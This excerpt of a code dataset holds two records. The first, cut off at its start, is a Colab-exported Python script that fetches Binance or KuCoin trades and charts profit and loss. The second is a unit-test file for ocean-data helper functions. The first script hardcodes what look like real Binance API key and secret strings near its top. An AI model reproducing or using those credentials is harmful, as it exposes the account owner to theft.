\"https://lh3.googleusercontent.com/a-/AOh14GgHPbjXx4nDfTIrzqwK8qAg9YKesGOEWDN3tzU7vA=s64\", \"userId\": \"15609828926935255223\"}, \"user_tz\": -60} id=\"BP60fxYgC3N6\"\nexchange = \"binance\"\napi_key = \"MFVuenszCnd4UabKm3cjgtG7Ef3lMaKbvD4P3eQqex6LsWxBqQDYzMbtB9CQufBX\"\napi_secret = \"VDsVyMkgSVJ38wKCVUblT7rMtXPtizUqWoaG0FfV2yQQYIQ5gRV1XfBy5ApWAfMZ\"\napi_passphrase =\"\" #for kucoin\n\ntrading_pair = \"SOLUSDT\" #binance: \"XEMUSDT\" kucoin: \"XEM-USDT\"\nSTART_TIME = \"2021-06-26 00:00:00\"\n\n\n# + [markdown] id=\"KVzJj4wQ-5aX\"\n# ## Install dependencies\n\n# + colab={\"base_uri\": \"https://localhost:8080/\"} executionInfo={\"elapsed\": 7800, \"status\": \"ok\", \"timestamp\": 1611609984066, \"user\": {\"displayName\": \"Amine BENKHOUYA\", \"photoUrl\": \"https://lh3.googleusercontent.com/a-/AOh14GgHPbjXx4nDfTIrzqwK8qAg9YKesGOEWDN3tzU7vA=s64\", \"userId\": \"15609828926935255223\"}, \"user_tz\": -60} id=\"DbeniWuP-rSS\" outputId=\"4d8a081d-bb8e-452b-919b-307038d4e708\"\nimport pandas as pd\nimport numpy as np\nimport json\nimport plotly.graph_objects as go\nfrom IPython.core.display import display, HTML\nfrom datetime import datetime\nfrom src.processing import pnl_calculate\n\n# Set display\npd.options.display.float_format = '{:,.2f}'.format\n\nimport warnings\nwarnings.filterwarnings(\"ignore\")\n\nclient = None\nstart_dt = pd.to_datetime(START_TIME)\n\nif exchange == 'binance': \n    # !pip install binance\n    # !pip install python-binance\n    from src.binance.BinanceClientWrapper import BinanceClientWrapper \n    client = BinanceClientWrapper.createInstance(api_key,api_secret)\n\nelif exchange == 'kucoin':\n    # !pip install kucoin-python\n    from src.kucoin.KucoinClientWrapper import KucoinClientWrapper\n    client = KucoinClientWrapper.createInstance(api_key,api_secret,api_passphrase)\nelse:\n    display(f'Exchange {exchange} is unknown. Exiting.')\n    exit(1)\n\n# +\nfrom jinja2 import Template\nimport yaml\n\nclass Printer:\n    @staticmethod\n    def h1(*title):\n        title_t = Template(\"<h1>{{title}}</h1>\")\n        display(HTML(title_t.render(title=\" \".join([str(t) for t in title]))))\n    @staticmethod\n    def h2(*title):\n        title_t = Template(\"<h2>{{title}}</h2>\")\n        display(HTML(title_t.render(title=\" \".join([str(t) for t in title]))))\n    @staticmethod\n    def h3(*title):\n        title_t = Template(\"<h3>{{title}}</h3>\")\n        display(HTML(title_t.render(title=\" \".join([str(t) for t in title]))))\n    \n    @staticmethod\n    def p_df(df):\n        \"\"\"Neatly display a dataframe\"\"\"\n        display(HTML(df.to_html()))\n        \n    def p_dict(dt):\n        df = pd.DataFrame()\n        df['_'] = dt.keys()\n        df['__'] = dt.values()\n        Printer.p_df(df)\n\nclass Vis:\n    \n    def graph_trades(df):\n        df = df.pivot_table(values=[\"qty\"], columns=[\"side\"], index=[\"date_time\"], aggfunc=np.sum, fill_value=0)\n        df.columns = map(lambda x: x[1], df.columns)\n        df = df.resample(\"h\").sum()\n        df[\"sell\"] = df[\"sell\"] * -1\n\n        fig = go.Figure()\n        x = df.index\n        for name in np.sort(df.columns):\n            y = df[name]\n            fig.add_trace(go.Bar(x=x, y=y, name=name))\n        fig.update_layout(barmode=\"relative\", legend_orientation=\"h\", yaxis_tickformat=\",.0f\", yaxis_title=\"Base token amounts\")\n        fig.show()\n\n\n# -\n\nbalance,base,quote,base_price,quote_price = client.get_current_asset_balance(trading_pair)\n\nmeta = {\n    'base_asset':base,\n    'quote_asset':quote,\n    'quote_asset_price':quote_price,\n    'base_asset_price':base_price\n}\n\ndf_trades = client.get_trades(trading_pair,start_dt)\n\nsummary,df_summary_table,total_fees_usd,df_commissions = pnl_calculate(df_trades,balance,meta)\n\n# +\nPrinter.h1(trading_pair,\":\",START_TIME,\"to\", datetime.utcnow().replace(microsecond=0))\n\ntotal_balance_usd = balance['usd_value'].sum()\nPrinter.h3(f\"Current balance: ${total_balance_usd:,.2f}\")\nPrinter.p_df(balance)\n\n## Calculate performance\nPrinter.h2(\"Trades\")\nPrinter.p_df(df_trades)\nPrinter.h2(\"Performance summary\")\nPrinter.p_dict(summary)\nPrinter.p_df(df_summary_table)\nPrinter.h2(f\"Trade commissions: {total_fees_usd}\")\nPrinter.p_df(df_commissions)\nPrinter.h3(\"Historical trades\")\nVis.graph_trades(df_trades)\n", "meta": {"hexsha": "98e37cc6e1f7699fcb418978d6733518845c64aa", "size": 6071, "ext": "py", "lang": "Python", "max_stars_repo_path": "performance.py", "max_stars_repo_name": "0anton/pnl-analysis", "max_stars_repo_head_hexsha": "7db97f0afc953f7250fa62678260e06276f22883", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": null, "max_stars_repo_stars_event_min_datetime": null, "max_stars_repo_stars_event_max_datetime": null, "max_issues_repo_path": "performance.py", "max_issues_repo_name": "0anton/pnl-analysis", "max_issues_repo_head_hexsha": "7db97f0afc953f7250fa62678260e06276f22883", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "performance.py", "max_forks_repo_name": "0anton/pnl-analysis", "max_forks_repo_head_hexsha": "7db97f0afc953f7250fa62678260e06276f22883", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 35.2965116279, "max_line_length": 388, "alphanum_fraction": 0.7058145281, "include": true, "reason": "import numpy", "num_tokens": 1782, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4416730056646256, "lm_q2_score": 0.1561048915563923, "lm_q1q2_score": 0.06894731665266221}}
{"text": "#!/usr/bin/env python\n\n\"\"\"\n@package ion_functions.test.generic_functions\n@file ion_functions/test/generic_functions.py\n@author Christopher Wingard, Stuart Pearce, Russell Desiderio\n@brief Unit tests for generic_functions module\n\"\"\"\n\nfrom nose.plugins.attrib import attr\nfrom ion_functions.test.base_test import BaseUnitTestCase\n\nimport numpy as np\nfrom ion_functions.data import generic_functions as gfunc\nfrom ion_functions.data.generic_functions import SYSTEM_FILLVALUE\n\n\n# for test_replace_fill_with_nan\nINST_FILLVALUE = -32768\nZERO_FILLVALUE = 0\n\n\n@attr('UNIT', group='func')\nclass TestGenericFunctionsUnit(BaseUnitTestCase):\n\n    def test_replace_fill_with_nan_with_vectortime_variables(self):\n        \"\"\"\n        Description:\n\n            Tests replace_fill_with_nan for variables that are time-vectorized\n            with more than one time point. Functionally this means that the lead\n            dimension of these test variables will have a shape greater than 1.\n\n            Cases (instances of the system fill value are always processed):\n                no instrument fill value\n                one instrument fill value of 0\n                two instrument fill values\n\n        Implemented by:\n\n            2013-06-11: Russell Desiderio. Initial code.\n        \"\"\"\n        # constants for convenience in filling in test variables\n        sfill = SYSTEM_FILLVALUE\n        zfill = ZERO_FILLVALUE\n        ifill = INST_FILLVALUE\n\n        # set up 6 integer arrays to be tested, v1-v6.\n        # this will also designate their ordering on input and output\n        v1_good_1D = np.array([1, 2, 3, 4, 5])\n        v2_good_2D = np.tile(v1_good_1D, (3, 1))\n        v3_good_3D = np.tile(v2_good_2D, (3, 1, 1))\n\n        v4_fill_1D = np.array([11, ifill, 13, zfill, sfill])\n        v5_fill_2D = np.vstack((v4_fill_1D, v1_good_1D, v4_fill_1D))\n\n        v6_fill_3D = np.copy(v3_good_3D)\n        v6_fill_3D[0, 0, 0] = zfill\n        v6_fill_3D[1, 1, 1] = sfill\n        v6_fill_3D[2, 2, 2:5] = ifill  # last 3 elements in row '2'\n\n        # and a float array which should pass through unchanged\n        v7_float_array = v3_good_3D.astype(float)\n        v7_float_array[0, 1, 2] = np.nan\n\n        #SET INPUTS\n        v1, v2, v3 = np.copy(v1_good_1D), np.copy(v2_good_2D), np.copy(v3_good_3D)\n        v4, v5, v6 = np.copy(v4_fill_1D), np.copy(v5_fill_2D), np.copy(v6_fill_3D)\n        v7 = np.copy(v7_float_array)\n\n        ### CASE 1: no instrument fill values, only system fill values\n        # set expected outputs\n        x1 = v1_good_1D.astype(float)\n        x2 = v2_good_2D.astype(float)\n        x3 = v3_good_3D.astype(float)\n        x4 = np.array([11.0, float(ifill), 13.0, float(zfill), np.nan])\n        x5 = np.vstack((x4, x1, x4))\n        x6 = v6_fill_3D.astype(float)\n        x6[1, 1, 1] = np.nan\n        x7 = np.copy(v7_float_array)\n\n        # (1a): instrument_fillvalue = None\n        (c1, c2, c3, c4, c5, c6, c7) = gfunc.replace_fill_with_nan(\n            None, v1, v2, v3, v4, v5, v6, v7)\n        np.testing.assert_array_almost_equal(c1, x1, decimal=8)\n        np.testing.assert_array_almost_equal(c2, x2, decimal=8)\n        np.testing.assert_array_almost_equal(c3, x3, decimal=8)\n        np.testing.assert_array_almost_equal(c4, x4, decimal=8)\n        np.testing.assert_array_almost_equal(c5, x5, decimal=8)\n        np.testing.assert_array_almost_equal(c6, x6, decimal=8)\n        np.testing.assert_array_almost_equal(c7, x7, decimal=8)\n\n        # (1b) instrument_fillvalue = empty list\n        (c1, c2, c3, c4, c5, c6, c7) = gfunc.replace_fill_with_nan(\n            [], v1, v2, v3, v4, v5, v6, v7)\n        np.testing.assert_array_almost_equal(c1, x1, decimal=8)\n        np.testing.assert_array_almost_equal(c2, x2, decimal=8)\n        np.testing.assert_array_almost_equal(c3, x3, decimal=8)\n        np.testing.assert_array_almost_equal(c4, x4, decimal=8)\n        np.testing.assert_array_almost_equal(c5, x5, decimal=8)\n        np.testing.assert_array_almost_equal(c6, x6, decimal=8)\n        np.testing.assert_array_almost_equal(c7, x7, decimal=8)\n\n        # (1c) instrument_fillvalue: empty ndarray\n        (c1, c2, c3, c4, c5, c6, c7) = gfunc.replace_fill_with_nan(\n            np.array([]), v1, v2, v3, v4, v5, v6, v7)\n        np.testing.assert_array_almost_equal(c1, x1, decimal=8)\n        np.testing.assert_array_almost_equal(c2, x2, decimal=8)\n        np.testing.assert_array_almost_equal(c3, x3, decimal=8)\n        np.testing.assert_array_almost_equal(c4, x4, decimal=8)\n        np.testing.assert_array_almost_equal(c5, x5, decimal=8)\n        np.testing.assert_array_almost_equal(c6, x6, decimal=8)\n        np.testing.assert_array_almost_equal(c7, x7, decimal=8)\n\n        ### CASE (2): one instrument fill value = 0\n        # reset expected outputs; x1-x3 and x7 are unchanged\n        x4[3] = np.nan  # x4 is now reset\n        x5 = np.vstack((x4, x1, x4))\n        x6[0, 0, 0] = np.nan  # x6 is now reset\n\n        # (2a) instrument_fillvalue is a scalar\n        (c1, c2, c3, c4, c5, c6, c7) = gfunc.replace_fill_with_nan(\n            zfill, v1, v2, v3, v4, v5, v6, v7)\n        np.testing.assert_array_almost_equal(c1, x1, decimal=8)\n        np.testing.assert_array_almost_equal(c2, x2, decimal=8)\n        np.testing.assert_array_almost_equal(c3, x3, decimal=8)\n        np.testing.assert_array_almost_equal(c4, x4, decimal=8)\n        np.testing.assert_array_almost_equal(c5, x5, decimal=8)\n        np.testing.assert_array_almost_equal(c6, x6, decimal=8)\n        np.testing.assert_array_almost_equal(c7, x7, decimal=8)\n\n        # (2b) instrument_fillvalue is a one-element list\n        (c1, c2, c3, c4, c5, c6, c7) = gfunc.replace_fill_with_nan(\n            [zfill], v1, v2, v3, v4, v5, v6, v7)\n        np.testing.assert_array_almost_equal(c1, x1, decimal=8)\n        np.testing.assert_array_almost_equal(c2, x2, decimal=8)\n        np.testing.assert_array_almost_equal(c3, x3, decimal=8)\n        np.testing.assert_array_almost_equal(c4, x4, decimal=8)\n        np.testing.assert_array_almost_equal(c5, x5, decimal=8)\n        np.testing.assert_array_almost_equal(c6, x6, decimal=8)\n        np.testing.assert_array_almost_equal(c7, x7, decimal=8)\n\n        # (2c) instrument_fillvalue is a shape (1,) ndarray\n        (c1, c2, c3, c4, c5, c6, c7) = gfunc.replace_fill_with_nan(\n            np.array([zfill]), v1, v2, v3, v4, v5, v6, v7)\n        np.testing.assert_array_almost_equal(c1, x1, decimal=8)\n        np.testing.assert_array_almost_equal(c2, x2, decimal=8)\n        np.testing.assert_array_almost_equal(c3, x3, decimal=8)\n        np.testing.assert_array_almost_equal(c4, x4, decimal=8)\n        np.testing.assert_array_almost_equal(c5, x5, decimal=8)\n        np.testing.assert_array_almost_equal(c6, x6, decimal=8)\n        np.testing.assert_array_almost_equal(c7, x7, decimal=8)\n\n        ### CASE (3): two instrument fill values\n        # reset expected outputs; x1-x3 and x7 are unchanged\n        x4[1] = np.nan  # x4 is now reset\n        x5 = np.vstack((x4, x1, x4))\n        x6[2, 2, 2:5] = np.nan  # x6 is now reset\n\n        # (3a) instrument_fillvalues are contained in a list\n        (c1, c2, c3, c4, c5, c6, c7) = gfunc.replace_fill_with_nan(\n            [ifill, zfill], v1, v2, v3, v4, v5, v6, v7)\n        np.testing.assert_array_almost_equal(c1, x1, decimal=8)\n        np.testing.assert_array_almost_equal(c2, x2, decimal=8)\n        np.testing.assert_array_almost_equal(c3, x3, decimal=8)\n        np.testing.assert_array_almost_equal(c4, x4, decimal=8)\n        np.testing.assert_array_almost_equal(c5, x5, decimal=8)\n        np.testing.assert_array_almost_equal(c6, x6, decimal=8)\n        np.testing.assert_array_almost_equal(c7, x7, decimal=8)\n\n        # (3b) instrument_fillvalues are contained in an ndarray\n        (c1, c2, c3, c4, c5, c6, c7) = gfunc.replace_fill_with_nan(\n            np.array([ifill, zfill]), v1, v2, v3, v4, v5, v6, v7)\n        np.testing.assert_array_almost_equal(c1, x1, decimal=8)\n        np.testing.assert_array_almost_equal(c2, x2, decimal=8)\n        np.testing.assert_array_almost_equal(c3, x3, decimal=8)\n        np.testing.assert_array_almost_equal(c4, x4, decimal=8)\n        np.testing.assert_array_almost_equal(c5, x5, decimal=8)\n        np.testing.assert_array_almost_equal(c6, x6, decimal=8)\n        np.testing.assert_array_almost_equal(c7, x7, decimal=8)\n\n    def test_replace_fill_with_nan_with_scalartime_variables(self):\n        \"\"\"\n        Description:\n\n            Tests replace_fill_with_nan for variables that are time-vectorized\n            with one time point. Functionally this means that the lead dimension\n            of these test variables will have shape 1.\n\n            Cases (instances of the system fill value are always processed):\n                no instrument fill value\n                one instrument fill value of 0\n                two instrument fill values\n\n        Implemented by:\n\n            2013-06-12: Russell Desiderio. Initial code.\n        \"\"\"\n        # constants for convenience in filling in test variables\n        sfill = SYSTEM_FILLVALUE\n        zfill = ZERO_FILLVALUE\n        ifill = INST_FILLVALUE\n\n        # set up 8 integer arrays to be tested, v1-v8.\n        # this will also designate their ordering on input and output\n        v1 = np.array([500])\n        v2 = np.array([ifill])\n        v3 = np.array([zfill])\n        v4 = np.array([sfill])\n        v5 = np.array([[1, 2, 3, 4, 5]])\n        v6 = np.array([[11, ifill, 13, zfill, sfill]])\n        v7 = np.tile(v5, (3, 1))[np.newaxis, :]\n        v8 = np.vstack((v6, v5, v6))[np.newaxis, :]\n\n        ### CASE 1: no instrument fill values, only system fill values\n        # set expected outputs\n        x1, x2, x3 = v1.astype(float), v2.astype(float), v3.astype(float)\n        x4 = np.array([np.nan])\n        x5 = v5.astype(float)\n        x6 = np.array([[11.0, float(ifill), 13.0, float(zfill), np.nan]])\n        x7 = v7.astype(float)\n        x8 = np.copy(v8.astype(float))\n        x8[0, 0, 4] = np.nan\n        x8[0, 2, 4] = np.nan\n\n        # (1a) instrument_fillvalue = None\n        (c1, c2, c3, c4, c5, c6, c7, c8) = gfunc.replace_fill_with_nan(\n            None, v1, v2, v3, v4, v5, v6, v7, v8)\n        np.testing.assert_array_almost_equal(c1, x1, decimal=8)\n        np.testing.assert_array_almost_equal(c2, x2, decimal=8)\n        np.testing.assert_array_almost_equal(c3, x3, decimal=8)\n        np.testing.assert_array_almost_equal(c4, x4, decimal=8)\n        np.testing.assert_array_almost_equal(c5, x5, decimal=8)\n        np.testing.assert_array_almost_equal(c6, x6, decimal=8)\n        np.testing.assert_array_almost_equal(c7, x7, decimal=8)\n        np.testing.assert_array_almost_equal(c8, x8, decimal=8)\n\n        # (1b) instrument_fillvalue: empty list\n        (c1, c2, c3, c4, c5, c6, c7, c8) = gfunc.replace_fill_with_nan(\n            [], v1, v2, v3, v4, v5, v6, v7, v8)\n        np.testing.assert_array_almost_equal(c1, x1, decimal=8)\n        np.testing.assert_array_almost_equal(c2, x2, decimal=8)\n        np.testing.assert_array_almost_equal(c3, x3, decimal=8)\n        np.testing.assert_array_almost_equal(c4, x4, decimal=8)\n        np.testing.assert_array_almost_equal(c5, x5, decimal=8)\n        np.testing.assert_array_almost_equal(c6, x6, decimal=8)\n        np.testing.assert_array_almost_equal(c7, x7, decimal=8)\n        np.testing.assert_array_almost_equal(c8, x8, decimal=8)\n\n        # (1c) instrument_fillvalue: empty ndarray\n        (c1, c2, c3, c4, c5, c6, c7, c8) = gfunc.replace_fill_with_nan(\n            np.array([]), v1, v2, v3, v4, v5, v6, v7, v8)\n        np.testing.assert_array_almost_equal(c1, x1, decimal=8)\n        np.testing.assert_array_almost_equal(c2, x2, decimal=8)\n        np.testing.assert_array_almost_equal(c3, x3, decimal=8)\n        np.testing.assert_array_almost_equal(c4, x4, decimal=8)\n        np.testing.assert_array_almost_equal(c5, x5, decimal=8)\n        np.testing.assert_array_almost_equal(c6, x6, decimal=8)\n        np.testing.assert_array_almost_equal(c7, x7, decimal=8)\n        np.testing.assert_array_almost_equal(c8, x8, decimal=8)\n\n        ### CASE (2): one instrument fill value = 0\n        # reset expected outputs; x1, x2, x4, x5 and x7 are unchanged\n        x3 = np.array([np.nan])\n        x6[0, 3] = np.nan  # x6 is now reset\n        x8[0, 0, 3] = np.nan\n        x8[0, 2, 3] = np.nan  # x8 is now reset\n\n        # (2a) instrument_fillvalue is a scalar\n        (c1, c2, c3, c4, c5, c6, c7, c8) = gfunc.replace_fill_with_nan(\n            zfill, v1, v2, v3, v4, v5, v6, v7, v8)\n        np.testing.assert_array_almost_equal(c1, x1, decimal=8)\n        np.testing.assert_array_almost_equal(c2, x2, decimal=8)\n        np.testing.assert_array_almost_equal(c3, x3, decimal=8)\n        np.testing.assert_array_almost_equal(c4, x4, decimal=8)\n        np.testing.assert_array_almost_equal(c5, x5, decimal=8)\n        np.testing.assert_array_almost_equal(c6, x6, decimal=8)\n        np.testing.assert_array_almost_equal(c7, x7, decimal=8)\n        np.testing.assert_array_almost_equal(c8, x8, decimal=8)\n\n        # (2b) instrument_fillvalue is a one element list\n        (c1, c2, c3, c4, c5, c6, c7, c8) = gfunc.replace_fill_with_nan(\n            [zfill], v1, v2, v3, v4, v5, v6, v7, v8)\n        np.testing.assert_array_almost_equal(c1, x1, decimal=8)\n        np.testing.assert_array_almost_equal(c2, x2, decimal=8)\n        np.testing.assert_array_almost_equal(c3, x3, decimal=8)\n        np.testing.assert_array_almost_equal(c4, x4, decimal=8)\n        np.testing.assert_array_almost_equal(c5, x5, decimal=8)\n        np.testing.assert_array_almost_equal(c6, x6, decimal=8)\n        np.testing.assert_array_almost_equal(c7, x7, decimal=8)\n        np.testing.assert_array_almost_equal(c8, x8, decimal=8)\n\n        # (2c) instrument_fillvalue is a one element ndarray\n        (c1, c2, c3, c4, c5, c6, c7, c8) = gfunc.replace_fill_with_nan(\n            np.array([zfill]), v1, v2, v3, v4, v5, v6, v7, v8)\n        np.testing.assert_array_almost_equal(c1, x1, decimal=8)\n        np.testing.assert_array_almost_equal(c2, x2, decimal=8)\n        np.testing.assert_array_almost_equal(c3, x3, decimal=8)\n        np.testing.assert_array_almost_equal(c4, x4, decimal=8)\n        np.testing.assert_array_almost_equal(c5, x5, decimal=8)\n        np.testing.assert_array_almost_equal(c6, x6, decimal=8)\n        np.testing.assert_array_almost_equal(c7, x7, decimal=8)\n        np.testing.assert_array_almost_equal(c8, x8, decimal=8)\n\n        ### CASE (3): two instrument fill values\n        # reset expected outputs; x1,x3-x5 and x7 are unchanged\n        x2 = np.array([np.nan])\n        x6[0, 1] = np.nan  # x6 is now reset\n        x8[0, 0, 1] = np.nan\n        x8[0, 2, 1] = np.nan  # x8 is now reset\n\n        # (3a) instrument_fillvalues are contained in a list\n        (c1, c2, c3, c4, c5, c6, c7, c8) = gfunc.replace_fill_with_nan(\n            [ifill, zfill], v1, v2, v3, v4, v5, v6, v7, v8)\n        np.testing.assert_array_almost_equal(c1, x1, decimal=8)\n        np.testing.assert_array_almost_equal(c2, x2, decimal=8)\n        np.testing.assert_array_almost_equal(c3, x3, decimal=8)\n        np.testing.assert_array_almost_equal(c4, x4, decimal=8)\n        np.testing.assert_array_almost_equal(c5, x5, decimal=8)\n        np.testing.assert_array_almost_equal(c6, x6, decimal=8)\n        np.testing.assert_array_almost_equal(c7, x7, decimal=8)\n        np.testing.assert_array_almost_equal(c8, x8, decimal=8)\n\n        # (3b) instrument_fillvalues are contained in an ndarray\n        (c1, c2, c3, c4, c5, c6, c7, c8) = gfunc.replace_fill_with_nan(\n            np.array([ifill, zfill]), v1, v2, v3, v4, v5, v6, v7, v8)\n        np.testing.assert_array_almost_equal(c1, x1, decimal=8)\n        np.testing.assert_array_almost_equal(c2, x2, decimal=8)\n        np.testing.assert_array_almost_equal(c3, x3, decimal=8)\n        np.testing.assert_array_almost_equal(c4, x4, decimal=8)\n        np.testing.assert_array_almost_equal(c5, x5, decimal=8)\n        np.testing.assert_array_almost_equal(c6, x6, decimal=8)\n        np.testing.assert_array_almost_equal(c7, x7, decimal=8)\n        np.testing.assert_array_almost_equal(c8, x8, decimal=8)\n\n    def test_replace_fill_with_nan_with_one_data_argument(self):\n        \"\"\"\n        Description:\n\n            Tests replace_fill_with_nan when called with only one data argument.\n            Coding replace_fill_with_nan for this was initially not straightforward\n            due to the core python\\numpy \"interface\".\n\n            Cases (instances of the system fill value are always processed):\n                no instrument fill value\n                one instrument fill value of 0\n                two instrument fill values\n\n        Implemented by:\n\n            2013-06-23: Russell Desiderio. Initial code.\n        \"\"\"\n        # constants for convenience in filling in test variables\n        sfill = SYSTEM_FILLVALUE\n        zfill = ZERO_FILLVALUE\n        ifill = INST_FILLVALUE\n\n        # set up a list of 8 input integer arrays to be tested one at a time\n        v4 = np.array([[1, 2, 3, 4, 5]])\n        v5 = np.array([[11, ifill, 13, zfill, sfill]])\n        v = [np.array([500]),\n             np.array([ifill]),\n             np.array([zfill]),\n             np.array([sfill]),\n             v4,\n             v5,\n             np.tile(v4, (3, 1))[np.newaxis, :],\n             np.vstack((v5, v4, v5))[np.newaxis, :]\n             ]\n\n        ### CASE(1): no instrument fill values\n        # expected values\n        x = [np.array([500.0]),\n             np.array([ifill]).astype('float'),\n             np.array([zfill]).astype('float'),\n             np.array([np.nan]),\n             np.array([[1.0, 2.0, 3.0, 4.0, 5.0]]),\n             np.array([[11, ifill, 13, zfill, np.nan]]).astype('float'),\n             v[6].astype(float),\n             np.copy(v[7].astype(float))\n             ]\n        x[7][0, 0, 4] = np.nan\n        x[7][0, 2, 4] = np.nan\n\n        for ii in range(len(v)):\n            c = gfunc.replace_fill_with_nan(None, v[ii])\n            np.testing.assert_array_almost_equal(c, x[ii], decimal=8)\n\n        ### CASE (2): one instrument fill value = 0\n        # reset expected outputs; x[0], x[1], x[3], x[4] and x[6] are unchanged\n        x[2] = np.array([np.nan])\n        x[5][0, 3] = np.nan  # x[5] is now reset\n        x[7][0, 0, 3] = np.nan\n        x[7][0, 2, 3] = np.nan  # x[7] is now reset\n\n        for ii in range(len(v)):\n            c = gfunc.replace_fill_with_nan(zfill, v[ii])\n            np.testing.assert_array_almost_equal(c, x[ii], decimal=8)\n\n        ### CASE (3): two instrument fill values\n        # reset expected outputs; only list elements 5 and 7 will change\n        x[1] = np.array([np.nan])\n        x[5][0, 1] = np.nan  # x[5] is now reset\n        x[7][0, 0, 1] = np.nan\n        x[7][0, 2, 1] = np.nan  # x[7] is now reset\n\n        for ii in range(len(v)):\n            c = gfunc.replace_fill_with_nan([ifill, zfill], v[ii])\n            np.testing.assert_array_almost_equal(c, x[ii], decimal=8)\n\n    def test_magnetic_declination(self):\n        \"\"\"\n        Test magnetic_declination function.\n\n        Some values based on those defined in the WMM document,\n        WMM2010testvalues.pdf which accompanies the software.  Others\n        were created and checked using online calculators.\n\n        Implemented by Stuart Pearce, April 2013\n        \"\"\"\n\n        lat = np.array([45.0, 45.0, 80.0, 0.0, -80.0, 80.0, 0.0, -80.0])\n        lon = np.array([-128.0, -128.0, 0.0, 120.0,\n                        240.0, 0.0, 120.0, 240.0])\n        z = np.array([0.0, 1000.0, 0.0, 0.0,\n                      0.0, 100000.0, 100000.0, 100000.0])\n        timestamp = np.array([3575053740.7382507,  # 2013-04-15 22:29:00\n                              3575053740.7382507,  # UTC\n                              3471292800.0,        # 2010-01-01 UTC\n                              3471292800.0,\n                              3471292800.0,\n                              3471292800.0,\n                              3471292800.0,\n                              3471292800.0])\n\n        decln = np.array([16.46093044096720, 16.46376239313584, -6.13, 0.97,\n                          70.21, -6.57, 0.94, 69.62])\n\n        out = gfunc.magnetic_declination(lat, lon, timestamp, z, -1)\n\n        self.assertTrue(np.allclose(out, decln, rtol=0, atol=1e-2))\n\n    def test_magnetic_correction(self):\n        \"\"\"\n        Test magentic_correction function.\n\n        Input values based on those defined in DPS; output values calculated to\n            more significant figures using matlab code specified in the DPS.\n\n        OOI (2012). Data Product Specification for Velocity Profile and Echo\n            Intensity. Document Control Number 1341-00750.\n            https://alfresco.oceanobservatories.org/ (See: Company Home >> OOI\n            >> Controlled >> 1000 System Level >>\n            1341-00750_Data_Product_SPEC_VELPROF_OOI.pdf)\n\n        Implemented by Christopher Wingard, April 2013\n        Modified by Russell Desiderio, April 07, 2014. Changed the rtol values\n            from 1e4 to 1e-4 to get a fair test. Changed the output values by\n            adding more significant figures.\n        \"\"\"\n        # apply the magnetic declination correction.\n        uu_cor, vv_cor = gfunc.magnetic_correction(16.9604, np.array([0.4413]),\n                                                   np.array([0.1719]))\n\n        # test the transform\n        self.assertTrue(np.allclose(uu_cor, 0.472251, rtol=1e-4, atol=0))\n        self.assertTrue(np.allclose(vv_cor, 0.035692, rtol=1e-4, atol=0))\n\n    def test_ntp_to_unix_time(self):\n        \"\"\"\n        Test ntp_to_unix_time function.\n\n        Timestamp Values gathered from various internet sources\n        including the NTP FAQ and HOWTO.\n\n        Implemented by Stuart Pearce, April 2013\n        \"\"\"\n        ntp_timestamps = np.array([3176736750.7358608,\n                                   3359763506.2082224,\n                                   3575049755.4380851])\n\n        output = gfunc.ntp_to_unix_time(ntp_timestamps)\n\n        check_values = np.array([967747950.735861,\n                                 1150774706.2082224,\n                                 1366060955.438085])\n        self.assertTrue(np.allclose(output, check_values,\n                                    rtol=0, atol=1e-6))\n\n    def test_extract_parameters(self):\n        \"\"\"\n        Test extract_parameter function.\n\n        Array values created by author.\n\n        Implemented by Christopher Wingard, April 2013\n        \"\"\"\n        in_array = np.array([34, 67, 12, 15, 89, 100, 54, 36])\n        self.assertTrue(np.equal(34, gfunc.extract_parameter(in_array, 0)))\n        self.assertTrue(np.equal(67, gfunc.extract_parameter(in_array, 1)))\n        self.assertTrue(np.equal(12, gfunc.extract_parameter(in_array, 2)))\n        self.assertTrue(np.equal(15, gfunc.extract_parameter(in_array, 3)))\n        self.assertTrue(np.equal(89, gfunc.extract_parameter(in_array, 4)))\n        self.assertTrue(np.equal(100, gfunc.extract_parameter(in_array, 5)))\n        self.assertTrue(np.equal(54, gfunc.extract_parameter(in_array, 6)))\n        self.assertTrue(np.equal(36, gfunc.extract_parameter(in_array, 7)))\n", "meta": {"hexsha": "b5836421c7f9b795f05e53cf3fc2dd73f9efadb3", "size": 23094, "ext": "py", "lang": "Python", "max_stars_repo_path": "ion_functions/data/test/test_generic_functions.py", "max_stars_repo_name": "steinermg/ion-functions", "max_stars_repo_head_hexsha": "cea532ad9af51e86768572c8deb48547d99567c5", "max_stars_repo_licenses": ["Apache-2.0"], "max_stars_count": 10, "max_stars_repo_stars_event_min_datetime": "2015-04-03T15:32:21.000Z", "max_stars_repo_stars_event_max_datetime": "2018-11-21T11:57:26.000Z", "max_issues_repo_path": "ion_functions/data/test/test_generic_functions.py", "max_issues_repo_name": "steinermg/ion-functions", "max_issues_repo_head_hexsha": "cea532ad9af51e86768572c8deb48547d99567c5", "max_issues_repo_licenses": ["Apache-2.0"], "max_issues_count": 8, "max_issues_repo_issues_event_min_datetime": "2015-01-07T15:19:22.000Z", "max_issues_repo_issues_event_max_datetime": "2015-12-08T18:14:04.000Z", "max_forks_repo_path": "ion_functions/data/test/test_generic_functions.py", "max_forks_repo_name": "steinermg/ion-functions", "max_forks_repo_head_hexsha": "cea532ad9af51e86768572c8deb48547d99567c5", "max_forks_repo_licenses": ["Apache-2.0"], "max_forks_count": 17, "max_forks_repo_forks_event_min_datetime": "2015-01-14T16:23:00.000Z", "max_forks_repo_forks_event_max_datetime": "2021-07-19T08:26:52.000Z", "avg_line_length": 45.550295858, "max_line_length": 83, "alphanum_fraction": 0.6221962414, "include": true, "reason": "import numpy", "num_tokens": 6759, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4765796659321433, "lm_q2_score": 0.14414886038616345, "lm_q1q2_score": 0.06869841572733694}}
